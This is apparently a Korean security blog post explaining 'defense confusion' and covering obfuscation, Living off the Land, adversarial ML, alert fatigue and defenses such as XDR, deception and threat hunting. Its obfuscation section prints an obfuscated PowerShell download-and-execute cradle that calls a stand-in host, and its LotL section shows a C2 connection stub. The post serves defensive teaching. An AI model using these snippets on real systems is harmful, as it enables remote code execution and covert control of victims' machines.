Defense Confusion: 방어자를 눈멀게 하는 ‘혼란’의 기술과 대응

현대 공격자는 더 이상 “방패를 정면 돌파”하려 하지 않습니다. 대신 방패를 든 사람의 눈과 머리를 먼저 흐리게 만드는 것, 즉 방어 체계에 혼란(Confusion)을 주는 것에 집중합니다.

이 글에서는 보안 관점에서의 Defense Confusion(방어 혼란)을 세 가지 맥락에서 정리하고,

공격자는 어떻게 혼란을 만들고
방어자는 어디서 혼란에 빠지며
조직은 어떻게 명확성(Clarity)를 회복할 수 있는지

를 실무 예시와 함께 정리를 해봅니다.

Defense Confusion(방어 혼란)이란?

보안에서 말하는 Confusion(혼란)은 단순한 감정 상태가 아니라, 정확한 판단이 구조적으로 불가능해진 상태를 의미합니다.

이 글에서는 Confusion을 아래 세 가지 층위로 나눕니다.

1) 전술적 혼란 (Tactical Confusion)

공격자가 자신의 행위나 흔적을 정상적인 시스템 활동처럼 위장하여,

탐지 규칙(시그니처, YARA, 룰셋)을 피해 가고
분석가의 분석 시간을 극적으로 지연시키는 기법입니다.

대표 예시

난독화(Obfuscation)된 악성 스크립트
정상 툴을 활용한 Living off the Land(LotL)
AI/ML 모델을 속이는 적대적 공격(Adversarial ML)

2) 운영적 혼란 (Operational Confusion)

보안 운영 관점에서의 혼란입니다.

SIEM, EDR, NDR, WAF 등에서 수천 건의 경보가 쏟아지고,
오탐(False Positive)과 저위험 경보가 섞여
진짜 위협을 구분하지 못하는 상태를 말합니다.

이때 분석가는 Alert Fatigue(경보 피로)에 빠지고, 결국 정말 중요한 알람을 놓치게 되는 위험이 커집니다.

3) 이론적 혼란 (Theoretical Confusion – 암호학)

암호학에서의 Confusion은 조금 다른 의미입니다.
클로드 섀넌(Claude Shannon)은 다음과 같이 정의합니다.

암호문과 평문(또는 키) 사이의 상관관계를 숨기는 성질

300x250

즉, 암호문만 보고는 키나 평문을 추측할 수 없도록, 관계를 최대한 복잡하게 만드는 것을 말합니다.

방어자는 암호학적 Confusion으로 데이터를 보호하고
공격자는 전술적 Confusion으로 자신의 행위를 숨기며
운영자는 운영적 Confusion으로 인해 진짜와 가짜를 헷갈리게 됩니다.

이 세 층위가 동시에 얽힐 때, 조직은 “눈은 떠 있지만 아무것도 보이지 않는 상태”가 됩니다.

공격자의 무기: 어떻게 방어를 혼란시키는가?

이제 공격자가 Defense Confusion을 만들기 위해 쓰는 대표적인 기술들을 보겠습니다.

1. 난독화(Obfuscation): “코드는 살아있지만 의미는 죽는다”

개념
난독화는 코드나 스크립트의 의미를 유지한 채, 읽기와 분석을 어렵게 만드는 기술입니다.

(1) 코드 난독화 예시 – PowerShell

# 가독성이 있는 악성 코드 (예시)
$payload = (New-Object Net.WebClient).DownloadString("http://malicious.example/payload.ps1")
Invoke-Expression $payload

이를 난독화하면

# 난독화된 예시
$e = 'Invoke-Expression'
$u = 'http://malicious.example/payload.ps1'
$w = (New-Object Net.WebClient).('Down'+'loadString')($u)
&($e) $w

보안 관점 이슈

시그니처 기반 탐지는 DownloadString("http://...") 패턴을 찾기 어렵습니다.
분석가는 의도 파악에 더 많은 시간을 쏟게 되고,
자동 분석 시스템은 “정상 PowerShell 스크립트”와 혼동할 가능성이 높아집니다.

(2) 내부 사용자 보안 가이드

PowerShell, Python, JavaScript 등 스크립트 실행 로그를 수집하고,
“인코딩된 스크립트 실행”, “비정상적인 길이/패턴의 명령” 등을 별도 룰로 탐지
- 예: powershell.exe -enc 빈도 모니터링
개발자/운영자에게
- 운영 자동화 스크립트는 가능한 한 난독화 금지
- 불가피한 경우, 원본(비난독화) 버전을 별도 저장소에 관리하고, 접근 통제를 설정

2. Living off the Land(LoL / LotL): 정상 도구를 악용하는 침투

개념
공격자가 추가적인 악성 파일을 투입하지 않고, 이미 OS에 포함된 정상 도구(LOLBin)를 활용해 공격을 수행하는 방식입니다.

대표 도구

Windows: powershell.exe, cmd.exe, wmi, bitsadmin, rundll32, reg.exe
Linux: bash, curl, wget, ssh, nc, python, perl

(1) LotL 공격 예시 – Windows

# PowerShell을 이용한 C2 연결 예시 (단순화)
$client = New-Object System.Net.Sockets.TCPClient("c2.example.com", 443)
$stream = $client.GetStream()
# 이후 명령 수신 및 실행 루프...

이 행위는 표면적으로는

“관리자가 원격 명령을 실행하는 것”과 유사해 보입니다.

(2) 혼란 포인트

로그에 남는 것은 정상 프로세스 이름 (예: powershell.exe)
블랙리스트 기반 차단 정책만 사용하면,
- 차단 시: 정당한 관리자 작업까지 막을 위험
- 허용 시: 공격자의 활동을 그대로 허용하는 결과

(3) 보안 관점 체크포인트

내부 보안 점검 시 아래 항목을 확인해 보셔야 합니다.

LotL 도구 사용 기준 정의
- “누가, 어느 서버에서, 어떤 시간대에, 어떤 옵션으로 쓸 수 있는가?”
- 예
  - 운영팀 계정만 특정 관리 서버에서 사용 허용
  - 야간/휴일 LotL 사용은 별도 알림
행위 기반 탐지(Behavior-based Detection) 적용
- 단순히 powershell.exe 실행 여부가 아니라,
- 외부 C2, 내부 중요 시스템 향하는 네트워크 연결,
- Base64 인코딩 옵션 사용 등 패턴 기반 룰 필요
EDR / SIEM 룰 예시

규칙 아이디어
- powershell.exe + -EncodedCommand + 외부 IP 접속 시 우선 경보
- rundll32.exe가 비정상 경로(C:\Users\...)의 DLL 실행 시 고위험

3. AI/ML 모델 혼란 (Adversarial Attack)

보안 솔루션도 AI/ML을 적극 활용하면서, 공격자는 모델 자체를 속이는 공격을 시도합니다.

(1) 예시 시나리오

ML 기반 IPS/EDR이 패킷/프로세스 특성을 보고
- “정상/악성”을 분류한다고 가정합니다.
공격자는 탐지 피하기 위해
- 특정 바이트를 살짝 섞어 특징 벡터를 왜곡 → 모델이 정상으로 오분류(Misclassification)

(2) 혼란 포인트

전통적인 시그니처/룰에는 안 걸리고,
ML 모델은 “정상”이라고 판단
운영자는 “모델이 OK라는데 굳이 차단할 이유가 있나?”라는 심리적 의존에 빠지기 쉽습니다.

(3) 보안 관점 가이드

“ML 모델 기반 탐지”는 보조 신호로 사용하고,
- 고위험 자산은 여전히 정책 기반 차단을 병행
ML 모델 업데이트 및 튜닝 시,
- 적대적 테스트(Adversarial Testing)를 별도 수행
- 예: 레드팀이 모델을 상대로 우회 시도 → 우회 패턴을 룰/시그니처로 보완

방어자의 딜레마: Confusion Matrix와 오탐의 늪

보안 시스템 자체도 분류기(Classifier)입니다.
이때 자주 사용하는 개념이 바로 오차 행렬(Confusion Matrix)입니다.

1. Confusion Matrix 요약

구분	실제 공격 (True)	실제 정상 (False)
시스템 탐지 (Positive)	TP (진양성): 공격 잘 잡음	FP (위양성 / 오탐): 정상인데 공격으로 오인
시스템 미탐지 (Negative)	FN (위음성 / 미탐): 공격인데 못 잡음	TN (진음성): 정상 잘 무시

FP(오탐): SOC 피로도↑, 신뢰도↓
FN(미탐): 실제 침해 사고로 직결될 수 있는 치명적인 리스크

2. 실제 운영 환경에서의 문제

오탐이 많은 환경
- 하루 수천~수만 건의 알람
- “또 그 알람이네” → 경보 무시 습관
- 이때 진짜 공격이 같은 룰로 들어오면 그대로 놓침
과도한 튜닝으로 인한 미탐
- 오탐을 줄이겠다고 룰을 느슨하게 만들면
- 알람은 줄지만, 공격도 함께 빠져나감(FN 증가)

3. 내부 보안 점검 포인트

보안 관리자 관점에서, 정기적으로 아래를 체크해야 합니다.

우리 SIEM/EDR의 위양성률(FP Rate)을 측정하고 있는가?
Top 10 오탐 룰을 정기적으로 검토하고 있는가?
새로 추가한 룰에 대해
- “검증 기간(Observation Mode)”을 두고
- 실제 FP/FN을 측정한 뒤 운영에 반영하는 프로세스가 있는가?

근원적 이론: 암호학에서의 Confusion

이제 조금 시야를 넓혀, 암호학에서의 Confusion을 간단히 짚어 보겠습니다.

1. Claude Shannon의 Confusion & Diffusion

섀넌은 안전한 암호 시스템의 두 가지 요소를 제시합니다.

Confusion
- 키와 암호문 사이의 관계를 복잡하게 만들어
- 암호문만 보고 키를 유추하기 어렵게 하는 성질
Diffusion
- 평문의 작은 변화가 암호문의 많은 부분에 영향을 미치게 하는 성질

대표 예: 블록 암호(AES 등)는

S-box(치환) → Confusion
P-box(치환, 비트/바이트 섞기) → Diffusion
의 조합으로 안전성을 높입니다.

2. 방어자 vs 공격자 – 서로 다른 Confusion

방어자(시스템, 설계자)
- 암호학적 Confusion을 통해 데이터 보호, 키 은닉을 달성
공격자
- 전술적 Confusion으로 침투 흔적 은폐, 탐지 회피
운영자(보안 관제)
- 운영적 Confusion에 빠질 경우 보호/공격 모두 제대로 인지하지 못함

이 차이를 이해하면,

“암호학적 Confusion”은 필수
“운영/전술적 Confusion”은 해결/제거 대상
이라는 구조가 보다 명확해집니다.

대응 전략: 혼란을 넘어 통찰(Insight)으로

이제 중요한 질문은 이것입니다.

“우리는 Defense Confusion을 어떻게 줄이고, 명확성(Clarity)를 확보할 것인가?”

대표적인 대응 전략을 세 가지로 묶어 볼 수 있습니다.

1. 가시성(Visibility)의 통합 – XDR, Data Fusion

단편적인 로그만 보면 혼란스럽습니다.

EDR: 엔드포인트 행위
NDR: 네트워크 트래픽
클라우드 로그: IAM, API 호출, 리소스 변경

이들이 각자 따로 존재하면, 공격자의 전체 Kill Chain 스토리가 보이지 않습니다.

(1) XDR 관점

XDR(Extended Detection and Response)은

서로 다른 보안 텔레메트리를 하나의 플랫폼으로 모아
“하나의 인시던트 스토리”로 엮어주는 접근입니다.

예시 플로우

EDR: powershell.exe -EncodedCommand ... 실행
NDR: 같은 호스트에서 외부 C2 IP 443 포트로 비정상 트래픽
AD/IdP: 해당 계정이 새벽 3시에 로그인

이 세 가지를 별개 알람으로 보면

“그냥 관리자 작업인가?” 정도로 끝날 수 있지만,
XDR이 이를 하나의 타임라인으로 묶어 보여주면:
“계정 탈취 + LotL + C2 연결”이라는 명확한 공격 스토리가 됩니다.

(2) 내부 가이드

“XDR 도입 여부” 이전에라도,
- 최소한 SIEM 레벨에서
  - 호스트, 계정, 세션ID, 프로세스 상관관계를 기준으로 알람 묶기(Correlation Rule)
보안팀/인프라팀/개발팀 간
- “우리는 어떤 로그를 어디까지 모으고 있는가?”
- “누가 그 로그에 접근할 수 있는가?”를 문서화

2. 능동적 기만(Deception Technology): 공격자를 되려 혼란스럽게

공격자가 우리를 혼란스럽게 한다면,
우리는 기만(Deception)으로 공격자를 되려 혼란에 빠뜨릴 수 있습니다.

(1) 허니팟 & 디코이

허니팟 서버: 실제 서비스처럼 보이지만,
- 실제로는 공격자 행위를 관찰하기 위한 함정 서버
디코이 계정/자격증명
- 실제 계정처럼 AD/DB에 존재하지만
- 정상 사용자는 절대 사용하지 않도록 설계

(2) 예시

AD에 svc_backup_admin 같은 계정을 만들어 두고,
- 실제 운영에는 사용하지 않음
- 이 계정으로 로그온 시도 발생 → 100% 공격 시도로 간주
내부 Git 서버에 secret-config-old.zip 같은 가짜 파일 배치
- 접근 시 SIEM/EDR에 고위험 알람 발생

(3) 내부 정책 가이드

기만 자산은
- 실제 운영 자산과 명확히 구분되는 네이밍 룰 적용
- 접근 발생 시, 즉각적인 인시던트 대응 플로우로 연결
내부 사용자 공지
- “이러한 계정/서버/파일은 절대 사용하지 말 것”을 명확히 알리고,
- 오탐을 줄이기 위해 사내 운영팀과 사전 조율 필수

3. 위협 헌팅(Threat Hunting): 능동적 탐색으로 혼란을 뚫기

자동화된 시스템이 모든 것을 잡아주지는 못합니다.
그래서 위협 헌팅(Threat Hunting)이 필요합니다.

(1) Threat Hunting의 핵심

“알람이 떠서 본다”가 아니라
“이런 공격이 있을 것 같다”라는 가설을 먼저 세우고,
로그/텔레메트리를 능동적으로 탐색하는 활동입니다.

예시 가설

“지난 2주간 가장 많이 실패한 로그인 TOP 10 계정 중,
특정 지역 IP에서만 반복 시도되는 계정이 있는가?”
“업무시간 외에 특정 서버에서만 반복되는 PowerShell 실행 패턴이 있는가?”

(2) 헌팅 시 유용한 체크 포인트

LotL 도구 실행 패턴
- PowerShell, WMI, rundll32.exe, wmic.exe 등
관리자 계정의 비정상 시간대 로그인
EDR/AV 예외가 적용된 서버에서의 네트워크 이상 징후
암호화/압축 툴(7zip, WinRAR 등)의 비정상 사용 패턴

(3) 조직 내 제도화

“월 1회 Threat Hunting Day”처럼 정기적인 헌팅 타임 확보
헌팅 결과는
- 새 룰/플레이북으로 환원
- 후속 교육 자료로 활용 (운영팀, 헬프데스크 등)

결론: 명확함이 곧 보안이다

Defense Confusion은 공격자가 노리는 가장 인간적인 약점입니다.

우리는 쏟아지는 경보 속에서 지치고,
난독화된 코드와 LotL 패턴 속에서 판단이 흐려지며,
AI/ML 모델이 “정상”이라고 말해 주면 안심해 버리는 경향이 있습니다.

결국 보안의 목표는

“모든 것을 막는 것”에서
“혼란(Noise)을 줄이고, 진짜 신호(Signal)을 찾아내는 것”으로 진화해야 합니다.

이를 위해서는

불필요한 오탐 줄이기 (Tuning)
- FP 상위 룰 주기적 검토
- 운영 환경에 맞는 탐지 기준 재정의
통합된 가시성 확보 (Integration / XDR)
- 엔드포인트, 네트워크, 클라우드, 계정 로그를 한 화면에서 연결
- “점”이 아닌 “스토리”로 보는 관점 전환
공격자를 역으로 속이는 전략 (Deception)
- 허니팟, 디코이, 미끼 계정/파일로
- 공격자의 행위를 선제적으로 포착

이 세 가지가 기반이 될 때,
우리는 비로소 혼란의 안개를 걷어내고 통찰(Insight)에 기반한 보안을 실현할 수 있습니다.

Next Action for Security Teams: 바로 할 수 있는 3단계 체크리스트

마무리로, 실제 조직에서 바로 점검해 볼 수 있는 액션 아이템을 정리합니다.

SIEM/EDR 오탐율 점검
- 최근 1~3개월 알람 기준으로
  - Top 10 탐지 룰의 FP 비율 측정
  - “운영상 의미 없는 알람”은 튜닝/비활성화/조건 변경
LotL(Living off the Land) 모니터링 정책 점검
- PowerShell, WMI, rundll32, wmic, curl/wget 등 주요 LotL 도구에 대해:
  - “누가 / 어디서 / 언제 / 어떻게 쓸 수 있는지” 정책 문서화
  - 이상 행위 탐지 룰(예: 야간+외부 접속+EncodedCommand) 존재 여부 확인
Deception 준비 상태 점검
- 허니팟/디코이 계정/디코이 파일 운영 여부 확인
- 없다면
  - PoC 수준으로라도 “가짜 계정 + 접근 알람”부터 시도
- 있다면
  - 접근 알람이 실제 인시던트 대응 프로세스로 연결되는지 점검

이 글의 내용을 기반으로, 조직 내부 교육자료나 보안 정책 개정 시

“Confusion을 줄이고 Clarity를 높이는 것”을 명시적인 목표로 설정하면,
Defense Confusion에 더 체계적으로 대응할 수 있습니다.

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Defense Confusion: 방어자를 눈멀게 하는 ‘혼란’의 기술과 대응

Defense Confusion: 방어자를 눈멀게 하는 ‘혼란’의 기술과 대응

Defense Confusion(방어 혼란)이란?

1) 전술적 혼란 (Tactical Confusion)

2) 운영적 혼란 (Operational Confusion)

3) 이론적 혼란 (Theoretical Confusion – 암호학)

공격자의 무기: 어떻게 방어를 혼란시키는가?

1. 난독화(Obfuscation): “코드는 살아있지만 의미는 죽는다”

(1) 코드 난독화 예시 – PowerShell

(2) 내부 사용자 보안 가이드

2. Living off the Land(LoL / LotL): 정상 도구를 악용하는 침투

(1) LotL 공격 예시 – Windows

(2) 혼란 포인트

(3) 보안 관점 체크포인트

3. AI/ML 모델 혼란 (Adversarial Attack)

(1) 예시 시나리오

(2) 혼란 포인트

(3) 보안 관점 가이드

방어자의 딜레마: Confusion Matrix와 오탐의 늪

1. Confusion Matrix 요약

2. 실제 운영 환경에서의 문제

3. 내부 보안 점검 포인트

근원적 이론: 암호학에서의 Confusion

1. Claude Shannon의 Confusion & Diffusion

2. 방어자 vs 공격자 – 서로 다른 Confusion

대응 전략: 혼란을 넘어 통찰(Insight)으로

1. 가시성(Visibility)의 통합 – XDR, Data Fusion

(1) XDR 관점

(2) 내부 가이드

2. 능동적 기만(Deception Technology): 공격자를 되려 혼란스럽게

(1) 허니팟 & 디코이

(2) 예시

(3) 내부 정책 가이드

3. 위협 헌팅(Threat Hunting): 능동적 탐색으로 혼란을 뚫기

(1) Threat Hunting의 핵심

(2) 헌팅 시 유용한 체크 포인트

(3) 조직 내 제도화

결론: 명확함이 곧 보안이다

Next Action for Security Teams: 바로 할 수 있는 3단계 체크리스트

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